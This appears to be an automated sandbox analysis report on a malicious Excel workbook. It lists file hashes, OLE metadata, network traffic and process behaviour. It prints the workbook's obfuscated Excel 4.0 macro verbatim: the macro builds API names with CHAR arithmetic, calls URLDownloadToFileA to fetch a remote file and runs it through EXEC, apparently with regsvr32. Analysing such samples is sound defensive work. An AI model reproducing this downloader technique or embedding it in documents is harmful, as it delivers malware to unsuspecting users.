| Entropy (8bit): | 7.18089315854629 |
| Encrypted: | false |
| SSDEEP: | 6144:GcKoSsxzNDZLDZjlbR868O8KiA4XkXOn2xEtjPOtioVjDGUU1qfDlavx+W+LIfdr:lizo8RnsIROnr6n75Ydo |
| MD5: | 38DF022C0132F7FDCCCA02C9E8E0944A |
| SHA1: | 6992C7F24D25905F44FB06E1DAF3DDD505E20D9D |
| SHA-256: | 985D1100B56F44D790CC2C92ACA1A207F9E38EA5969BF3497DF0598D6C1CA786 |
| SHA-512: | BE68CD1EE69AC63981BE4E771EA3F8EB04B84072AE94649AE2638E1A47CC526A81E9DC55225D41CEF8B31FD5F758BE49A654F8DEAE21427101B91C213727F348 |
| Malicious: | false |
| Preview: |
|
Static File Info |
|---|
General | |
|---|---|
| File type: | |
| Entropy (8bit): | 7.520334201805138 |
| TrID: |
|
| File name: | document-1423769819.xls |
| File size: | 339968 |
| MD5: | 1d20db444db998eae5a4970482e0f177 |
| SHA1: | dd4e3b177804910b5a42b4377a1913fcca85baad |
| SHA256: | 31d3a487f454a78f2ed78b95c309a6841052e010ea33fcc53f1faba5d22d11f6 |
| SHA512: | 01fb697169b6876c153aa08944f8a9a6d39ffc575cc0cce7b7742a81d42e1fd2fd85c1d77a9e815f696175d1ec72fc7bb7d3c4e8f5211d4ad4498b4cd66434a9 |
| SSDEEP: | 6144:+cKoSsxzNDZLDZjlbR868O8Kfc03pXOFq7uDphYHceXVhca+fMHLty/x2zZ8kpT+:5izo8RnsIROnr6n75YI |
| File Content Preview: | ........................>...................................................................................................................................................................................................................................... |
File Icon |
|---|
 | |
| Icon Hash: | 74ecd4c6c3c6c4d8 |
Static OLE Info |
|---|
General | ||
|---|---|---|
| Document Type: | OLE | |
| Number of OLE Files: | 1 | |
OLE File "document-1423769819.xls" |
|---|
Indicators | |
|---|---|
| Has Summary Info: | True |
| Application Name: | Microsoft Excel |
| Encrypted Document: | False |
| Contains Word Document Stream: | False |
| Contains Workbook/Book Stream: | True |
| Contains PowerPoint Document Stream: | False |
| Contains Visio Document Stream: | False |
| Contains ObjectPool Stream: | |
| Flash Objects Count: | |
| Contains VBA Macros: | True |
Summary | |
|---|---|
| Code Page: | 1251 |
| Author: | |
| Create Time: | 2006-09-16 00:00:00 |
| Last Saved Time: | 2020-11-26 09:46:44 |
| Creating Application: | |
| Security: | 0 |
Document Summary | |
|---|---|
| Document Code Page: | 1251 |
| Thumbnail Scaling Desired: | False |
| Contains Dirty Links: | False |
| Shared Document: | False |
| Changed Hyperlinks: | False |
| Application Version: | 917504 |
Streams |
|---|
Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096 |
|---|
General | |
|---|---|
| Stream Path: | \x5DocumentSummaryInformation |
| File Type: | data |
| Stream Size: | 4096 |
| Entropy: | 0.367004077607 |
| Base64 Encoded: | False |
| Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . . . . . 2 . . . . . . . . . 3 . . . . . . . . . 1 . . . . . . . . . 4 . . . . . . . . . 5 . . . . . . . . . . . . . . . . . . |
| Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 bf 00 00 00 02 00 00 00 e3 04 00 00 |
Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096 |
|---|
General | |
|---|---|
| Stream Path: | \x5SummaryInformation |
| File Type: | data |
| Stream Size: | 4096 |
| Entropy: | 0.253094628 |
| Base64 Encoded: | False |
| Data ASCII: | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . ! ! . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . | . # . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . |
| Data Raw: | fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 21 21 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00 |
Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 327649 |
|---|
General | |
|---|---|
| Stream Path: | Workbook |
| File Type: | Applesoft BASIC program data, first line number 16 |
| Stream Size: | 327649 |
| Entropy: | 7.64866061814 |
| Base64 Encoded: | True |
| Data ASCII: | . . . . . . . . f 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . l . . 9 P . 8 . . . . . . . X . @ . . . . . . |
| Data Raw: | 09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 |
Macro 4.0 Code |
|---|
CALL("Ke"&????2!HR362&"32", "Cr"&????2!HT390&"yA", "JCJ", ????2!HI360&????2!HI375, 0)
CALL("U"&????2!HT380, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!HI360&????2!HI375&????2!HI389, 0, 0)
=RUN(R59),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=RUN(????4!D50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!HR362&""32"",""Cr""&????2!HT390&""yA"",""JCJ"",????2!HI360&????2!HI375,0)",,,,,,,,,,,,,,,,,=RUN(????5!A50),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""Ke""&????2!HR362&""32"",""Cr""&????2!HT390&""yA"",""JCJ"",????2!HI360,0)",,,,=RUN(????1!M66),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F78,G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157,=CHAR(F83-G83-H83),501,328,108"=CALL(""U""&????2!HT380,""U""&????4!E65,""IICCII"",0,????2!EE100,????2!HI360&????2!HI375&????2!HI389,0,0)"=EXEC(????3!W36&????2!HI360&????2!HI375&????2!HI389)=HALT()
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library NodeNetwork Behavior |
|---|
Network Port Distribution |
|---|
TCP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Nov 29, 2020 04:57:27.874264956 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.007297039 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.007576942 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.009773970 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.142755985 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.148842096 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.148899078 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.148930073 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.149003983 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.149041891 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.163932085 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.297411919 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.297666073 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.299135923 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.458431005 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.458476067 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.458633900 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.458940983 CET | 49720 | 443 | 192.168.2.3 | 103.21.59.169 |
| Nov 29, 2020 04:57:28.591669083 CET | 443 | 49720 | 103.21.59.169 | 192.168.2.3 |
UDP Packets |
|---|
| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Nov 29, 2020 04:57:09.948170900 CET | 65110 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:09.975241899 CET | 53 | 65110 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:10.763283014 CET | 58361 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:10.798656940 CET | 53 | 58361 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:11.451747894 CET | 63492 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:11.478995085 CET | 53 | 63492 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:12.569061995 CET | 60831 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:12.595953941 CET | 53 | 60831 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:13.366425037 CET | 60100 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:13.393724918 CET | 53 | 60100 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:14.239945889 CET | 53195 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:14.267232895 CET | 53 | 53195 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:15.559170008 CET | 50141 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:15.596972942 CET | 53 | 50141 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:16.570056915 CET | 53023 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:16.597306013 CET | 53 | 53023 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:22.118551016 CET | 49563 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:22.153866053 CET | 53 | 49563 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:23.176677942 CET | 51352 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:23.212043047 CET | 53 | 51352 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:23.493611097 CET | 59349 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:23.529175997 CET | 53 | 59349 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:23.744271040 CET | 57084 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:23.771538973 CET | 53 | 57084 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:24.544410944 CET | 59349 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:24.579972982 CET | 53 | 59349 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:25.545387030 CET | 59349 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:25.581027985 CET | 53 | 59349 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:27.560831070 CET | 59349 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:27.594465971 CET | 58823 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:27.596426964 CET | 53 | 59349 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:27.599128962 CET | 57568 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:27.634495020 CET | 53 | 57568 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:27.869080067 CET | 53 | 58823 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:28.417650938 CET | 50540 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:28.453277111 CET | 53 | 50540 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:29.145636082 CET | 54366 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:29.181169987 CET | 53 | 54366 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:31.562539101 CET | 59349 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:31.598175049 CET | 53 | 59349 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:37.611969948 CET | 53034 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:37.639044046 CET | 53 | 53034 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:46.074290037 CET | 57762 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:46.126332045 CET | 53 | 57762 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:57:53.639780998 CET | 55435 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:57:53.690155029 CET | 53 | 55435 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:58:00.066926003 CET | 50713 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:58:00.104094028 CET | 53 | 50713 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:58:11.948492050 CET | 56132 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:58:11.975697041 CET | 53 | 56132 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:58:15.131401062 CET | 58987 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:58:15.168472052 CET | 53 | 58987 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:58:46.485063076 CET | 56579 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:58:46.512301922 CET | 53 | 56579 | 8.8.8.8 | 192.168.2.3 |
| Nov 29, 2020 04:58:47.800741911 CET | 60633 | 53 | 192.168.2.3 | 8.8.8.8 |
| Nov 29, 2020 04:58:47.836302042 CET | 53 | 60633 | 8.8.8.8 | 192.168.2.3 |
DNS Queries |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class |
|---|---|---|---|---|---|---|---|
| Nov 29, 2020 04:57:27.594465971 CET | 192.168.2.3 | 8.8.8.8 | 0x761f | Standard query (0) | A (IP address) | IN (0x0001) |
DNS Answers |
|---|
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class |
|---|---|---|---|---|---|---|---|---|---|
| Nov 29, 2020 04:57:27.869080067 CET | 8.8.8.8 | 192.168.2.3 | 0x761f | No error (0) | 103.21.59.169 | A (IP address) | IN (0x0001) |
HTTPS Packets |
|---|
| Timestamp | Source IP | Source Port | Dest IP | Dest Port | Subject | Issuer | Not Before | Not After | JA3 SSL Client Fingerprint | JA3 SSL Client Digest |
|---|---|---|---|---|---|---|---|---|---|---|
| Nov 29, 2020 04:57:28.148930073 CET | 103.21.59.169 | 443 | 192.168.2.3 | 49720 | CN=autodiscover.birdexim.com CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US | CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co. | Mon Nov 02 05:51:13 CET 2020 Thu Mar 17 17:40:46 CET 2016 | Sun Jan 31 05:51:13 CET 2021 Wed Mar 17 17:40:46 CET 2021 | 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0 | 37f463bf4616ecd445d4a1937da06e19 |
| CN=Let's Encrypt Authority X3, O=Let's Encrypt, C=US | CN=DST Root CA X3, O=Digital Signature Trust Co. | Thu Mar 17 17:40:46 CET 2016 | Wed Mar 17 17:40:46 CET 2021 |
Code Manipulations |
|---|
Statistics |
|---|
CPU Usage |
|---|
Click to jump to process
Memory Usage |
|---|
Click to jump to process
High Level Behavior Distribution |
|---|
back
Click to dive into process behavior distribution
Behavior |
|---|
Click to jump to process
System Behavior |
|---|
General |
|---|
| Start time: | 04:57:21 |
| Start date: | 29/11/2020 |
| Path: | C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x290000 |
| File size: | 27110184 bytes |
| MD5 hash: | 5D6638F2C8F8571C593999C58866007E |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
General |
|---|
| Start time: | 04:57:28 |
| Start date: | 29/11/2020 |
| Path: | C:\Windows\SysWOW64\regsvr32.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x9e0000 |
| File size: | 20992 bytes |
| MD5 hash: | 426E7499F6A7346F0410DEAD0805586B |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
Disassembly |
|---|
Code Analysis |
|---|